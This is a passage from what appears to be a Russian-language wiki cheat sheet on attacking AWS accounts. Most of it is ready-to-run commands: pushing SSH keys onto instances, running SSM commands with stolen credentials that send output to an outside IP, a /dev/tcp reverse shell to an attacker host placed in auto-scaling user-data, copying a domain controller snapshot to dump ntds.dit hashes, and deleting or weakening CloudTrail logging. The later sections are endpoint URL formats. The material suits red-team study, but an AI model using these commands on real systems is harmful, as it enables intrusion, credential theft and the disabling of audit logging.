&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
